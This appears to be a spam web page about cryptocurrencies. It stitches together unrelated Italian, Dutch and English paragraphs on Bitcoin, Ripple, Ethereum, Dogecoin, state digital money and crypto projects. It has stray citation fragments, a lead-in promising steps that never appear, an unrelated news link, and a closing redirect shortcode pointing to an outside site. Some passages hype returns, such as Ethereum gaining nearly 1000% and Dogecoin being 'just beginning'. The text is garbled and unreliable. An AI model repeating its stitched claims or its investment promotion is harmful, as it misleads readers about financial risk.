“Seminario su Criptovaluta +Factom Criptovaluta”

Abbiamo cominciato a parlarvi del bitcoin nel 2013, quando la moneta digitale era ancora un oggetto sconosciuto. Da allora, il bitcoin e tutto il mondo delle cosiddette cryptocurrencies hanno fatto molta strada, per non dire dei guadagni… a inizio 2013 il bitcoin valeva 14 dollari, oggi ne vale circa 2.600.

^ a b c d e ALI, S, T; CLARKE, D; MCCORRY, P; Bitcoin: Perils of an Unregulated Global P2P Currency [By S. T Ali, D. Clarke, P. McCorry Newcastle upon Tyne: Newcastle University: Computing Science, 2015. (Newcastle University, Computing Science, Technical Report Series, No. CS-TR-1470)

Visto che i nodi non hanno l’obbligo di includere le transazioni nei blocchi che generano, chi invia bitcoin potrà volontariamente pagare una tassa di trasferimento. Facendo questo la velocità di trasferimento aumenterà e offrirà un incentivo agli utenti per tenere attivi i nodi, specialmente quando la difficoltà per generare bitcoin aumenterà o se la quantità di premio per blocco decrescerà nel tempo. I nodi collezionano le tasse di transazione associate a tutte le transazioni presenti nel loro blocco dedicato.[23]

Voor de meeste mensen die geld willen verdienen met blockchain, is investeren in cryptocurrencies de meest logische stap: Simpelweg komt dit neer op het kopen van een cryptocurrency en deze weer verkopen nadat de cryptomunt in waarde is gestegen. Om te starten met handelen in cryptocurrency neemt u de volgende stappen:

La chiave per capire Ripple è che una somma di denaro ha un valore diverso a seconda della forma in cui si trova. Se una persona ha cinquanta euro in contanti, possiede un capitale diverso da una persona che ha cinquanta euro in banca: perché i cinquanta euro in banca non esistono di per sé, ma nella forma di debito della banca nei confronti del correntista. Allo stesso modo, cinquanta euro in banca hanno un valore diverso da cinquanta euro in una carta prepagata: perché la carta prepagata può non essere riconosciuta da tutti. Tutto dipende da dove ripongono la loro fiducia le persone coinvolte in una transazione economica: si può presumere che tutti la ripongano nella Banca Centrale Europea che emette gli euro, che quasi tutti la ripongano nella banca UniCredit dove ha il conto il correntista, e che un po’ meno la ripongano nelle Poste Italiane che hanno emesso la carta prepagata.

Ethereum è più di una semplice valuta, è come un computer gigantesco che ospita diversi computer in tutto il mondo. Ethereum può rispondere a richieste complicate. La sua capacità di ospitare programmi informatici rivoluzionari ha dato ad Ethereum un vantaggio competitivo su Bitcoin e ha attirato l’attenzione delle banche in tutto il mondo. Questo ed altri fattori hanno portato Ethereum a guadagnare quasi il 1000% quest’anno!

Una spiegazione semplice ed efficace di come funziona questo meccanismo è quella che fornisce sul suo blog “Macromania” il vicepresidente della Federal Reserve di St Louis David Andolfatto. Immaginate di essere ad una festa con molti invitati e di avere alzato un po’ il gomito. A quel punto fate un annuncio che viene recepito da tutti i presenti. L’informazione viene quindi validata da questa conoscenza diffusa, senza bisogno che si sia qualcuno appositamente incaricato di registrarla o scriverla in diario. La mattina dopo sarà infatti parecchio complicato contattare uno ad uno tutti i presenti per correggere quanto avete affermato. Questo sistema funziona molto bene, da sempre, in comunità ristrette. Ora la tecnologia a nostra disposizione consente di estenderla su scale globale e gestire un enorme quantità di dati. Ciascuna transazione di ogni singolo bitcoin viene comunicata a una rete di computer sparsi su tutto il pianeta che la validano e la registrano. Si crea così una catena di informazioni che cresce continuamente e incorpora la storia di ogni moneta. In cambio di questa opera di archiviazione i computer che gestiscono questi complicati algoritmi ottengono dei nuovi bitcoin.

Niemand geloofde daarom dat het mogelijk zou zijn om een decentraal digitaal betaalsysteem te ontwikkelen, maar Satoshi Nakamoto bewees het tegendeel. In het op blockchain technologie gebaseerde Bitcoin netwerk beschikken alle onderdelen van het netwerk altijd over exact dezelfde informatie, waardoor deze informatie niet bij een centrale autoriteit hoeft te worden geverifieerd.

Questo libro vi fornirà una panoramica su cosa sono i Bitcoin e da dove sono venuti. Scoprirete anche come funziona l’intero processo dei Bitcoin, per poter creare il vostro portafoglio. Dallo scaricamento del software, alla creazione e all’uso di un indirizzo, scoprirete tutto ciò che c’è da sapere sul Bitcoin e sulla valuta digitale.

Nell’ultima parte del 2017 a spiccare il volo non è stato solo il bitcoin ma anche una serie di valute digitali alternative come LiteCoin, Ripple od Ethereum che ne ricalcano, con alcune varianti, il modello . “I cosiddetti alternative coin – continua Ametrano – stanno salendo perché sono molti gli investitori che vorrebbero investire in bitcoin ma temono che le quotazioni attuali non offrano margini per ulteriori incrementi. In realtà queste valute digitali non sono equivalenti e ritengo che il bitcoin sia l’unica in grado di svolgere davvero una funzione di bene rifugio”. Dal docente della Bicocca arriva infine un consiglio per chi volesse investire in monete digitali. “Meglio scegliere piattaforme di scambio con buona reputazione ad esempio quelle usate per il fixing dei futures bitcoin scambiati a Chicago. Ma soprattutto mai lasciare i bitcoin in custodia presso queste borse che possono essere colpite in modo disastroso dagli hackers. E’ necessario imparare a gestire i propri bitcoin personalmente utilizzando appositi wallet software”.

Viberate is a crowdsourced live music ecosystem and a blockchain-based marketplace, where musicians are matched with booking agencies and event organizers. We’re listing profiles of over 150,000 artists, 2,000 booking agencies, 60,000 venues and 500,000 events.

Il fatto che il sistema Ripple abbia un valore più per il protocollo con il quale gestisce le transazioni che per la valuta in sé – diversamente da Bitcoin – sembra non essere chiaro a molte delle persone che ci stanno investendo. Nell’ipotesi migliore per chi investe nei Ripple XRP, si arriverà a un momento in cui una banca africana si renderà conto che passare attraverso diversi intermediari per pagare un debito in pesos a una banca sudamericana è troppo dispendioso per le varie commissioni, e deciderà di immagazzinare Ripple XRP con i quali sa che potrà pagare il suo debito direttamente.

^ A unique cryptocurrency based on peer to peer debt transfer. The term Ripple can also refer to both the digital currency (also known as XRP), or to the payment network on which it and other digital currencies can be traded.

A law passed by the National Assembly of Ecuador gives the government permission to make payments in electronic currency and proposes the creation of a national digital currency. “Electronic money will stimulate the economy; it will be possible to attract more Ecuadorian citizens, especially those who do not have checking or savings accounts and credit cards alone. The electronic currency will be backed by assets of the Central Bank of Ecuador,” the National Assembly said in a statement.[48] In December 2015, Sistema de Dinero Electrónico (“electronic money system”) was launched, making Ecuador the first country with a state-run electronic payment system.[49]

Chi ha creato il documento? Cerca di non rimanere scioccato quando apprendi che è stato creato da “crittografi matematici presso il National Security Agency’s Office of Information Security Research and Technology“.

Certo, per ora i valori sono molto bassi. Basti pensare che un nel 2013 un singolo Dogecoin valeva appena 0.00023 dollari, anni luce dai prezzi folli raggiunti dalla madre di tutte le criptovalute. Ma è anche vero che siamo appena agli inizi: è stato minato solo il 16% dei 100 miliardi totali disponibili, una cifra di molto superiore ai 21 milioni di tetto massimo previsto per i Bitcoin, di cui più di tre quarti già minati.

Come il contante, anche la moneta digitale sarebbe il mezzo di pagamento ufficiale, vale a dire l’unico a poter essere legalmente accettato in tutti gli scambi. La moneta pubblica digitale sarebbe ovviamente radicalmente differente dai pagamenti digitali privati oggi esistenti, appartenenti alle due famiglie della moneta bancaria e della moneta non bancaria. La differenza dipende dalla fisionomia giuridica di chi li emette. Ricordando che la moneta è un debito che qualcuno emette, l’emittente può essere formalmente autorizzato a farlo – le banche – oppure è un soggetto privato le cui passività vengono accettate negli scambi; si pensi alla moneta privata gestita da imprese o organizzazione non bancarie – inclusi i cosiddetti bitcoin.

 I favoritismi e le strane nomine dell’Ue di cui (in Italia) nessuno parla http://www.ilsussidiario.net/mobile/Economia-e-Finanza/2018/2/28/SPILLO-I-favoritismi-e-le-strane-nomine-dell-Ue-di-cui-in-Italia-nessuno-parla/809039/AMP/?__twitter_impression=true L’assegnazione della sede dell’Ema con la vittoria di Amsterdam “contro” …Leggi tutto »

Quando una transazione viene ammessa per la prima volta in un blocco, riceve una conferma. Ogni volta che al di sopra di quel blocco vengono creati altri blocchi figli a esso collegato, riceve un’altra conferma. Quando il blocco contenente la transazione raggiunge sei conferme, ovvero vengono creati sei blocchi collegati a esso, il client Bitcoin cambia stato alla transazione portandola da “non confermata” a “confermata”. La motivazione dietro a questa procedura è che a ogni conferma della transazione, ovvero a ogni nuovo blocco che viene creato al di sopra del blocco con la transazione stessa, risulta via via più difficile e costoso annullare la transazione. Un ipotetico attaccante, per annullare una transazione con un certo numero di conferme, dovrebbe generare una catena parallela senza la transazione che desidera annullare e composta da un numero di blocchi pari o superiore alle conferme ricevute dalla transazione.

In about 2005 Telefónica and BBVA Bank launched a payment system in Spain called Mobipay[16] which used simple short message service facilities of feature phones intended for pay-as you go services including taxis and pre-pay phone recharges via a BBVA current bank account debit.

Ogni forma di moneta digitale – pubblica o privata – è tanto più efficace tanto più assolve al compito di mantenere costante il potere di acquisto di chi la detiene. Il potere di acquisto di una moneta può essere intaccato da tre rischi: il rischio di liquidità (non si riesce a scambiarla con altri beni e servizi), il rischio deprezzamento (il suo valore, relativamente agli altri beni e servizi, è incerto) ed il rischio insolvenza (chi la emette non è in grado di onorare i debiti). In più ogni moneta è caratterizzata da un rischio trasparenza, che dipende da quante informazioni trasmette su chi la usa; il rischio trasparenza, per essere concreti, è oggi minimo nel caso del contante e dei bitcoin. Dunque per un cittadino la scelta di una forma di moneta rispetto ad un’altra dipenderà dalle sue preferenze rispetto alle diverse fonti di rischio. Ad esempio, chi non sopporta i rischi della trasparenza sono quei soggetti che violano le leggi – da quelle sulla tassazione a quelle sul crimine – e che oggi tendono a preferire i contanti o i Bitcoin. Per queste ragioni l’introduzione della moneta pubblica virtuale dovrebbe essere accompagnata da penalizzazioni dei trasferimenti verso le monete che garantiscano maggiori livelli di anonimato.

AidPay is a payment gateway/embeddable widget that allows charities registered on the AidChain platform to accept donations in different cryptocurrencies directly on their website. The cryptocurrencies are then instantly converted into AidCoin. This allows charities to simply manage all donations received within a single wallet while providing transparency and traceability

A guidare la classifica rimane saldamente il bitcoin, con un valore complessivo di circa 240 miliardi di dollari, grazie a una quotazione assestata sopra ai 14.000 dollari, ben lontana dal picco di quasi 20.000 toccato a metà dicembre, ma comunque su livelli decisamente superiori ai 1.000 di un anno fa. Ma il balzo di Ripple ha ulteriormente ridotto il peso specifico della criptoavluta più conosciuta, scesa al di sotto del 40% sul totale di tutte le criptovalute, quando un anno fa era attorno al 90 per cento.

Tra gli scenari previsti per un possibile fallimento di Bitcoin, vi sono la svalutazione della moneta, una base di utenti in diminuzione, o un attacco frontale al sistema da parte dei governi. Non è però possibile bandire ogni forma di denaro digitale come Bitcoin.[25] La decentralizzazione e l’anonimato che fanno intrinsecamente parte di Bitcoin possono essere viste come una reazione ai procedimenti giudiziari nei confronti di aziende che lavoravano nell’ambito del denaro elettronico come e-gold e Liberty Dollar.[26] Questo perché il sistema in sé è a tutti gli effetti una raccolta del risparmio, pesantemente regolamentata in tutti i paesi del mondo in senso repressivo (per evidenti motivi, vedi schema Ponzi), e nel caso in questione, come già esposto, una raccolta perdipiù abusiva. In un’inchiesta di Danny O’Brien pubblicata sull’Irish Times viene detto che «Quando mostro alle persone l’economia Bitcoin, chiedono “Ma è legale?” ed “È un imbroglio?” Immagino che ci siano avvocati ed economisti che stiano cercando di dare una risposta a queste non semplici domande. Sospetto che la lista delle persone che cerca di dare questa risposta si arricchirà ben presto di legislatori.»[25][27] I valori della moneta si fondano sulla fiducia dei suoi utilizzatori. La gestione del bitcoin, e quindi il suo valore e il suo cambio, sono affidati al libero mercato, e quindi alle forze della domanda e dell’offerta. [redirect url=’http://curbee.info/bump’ sec=’7′]

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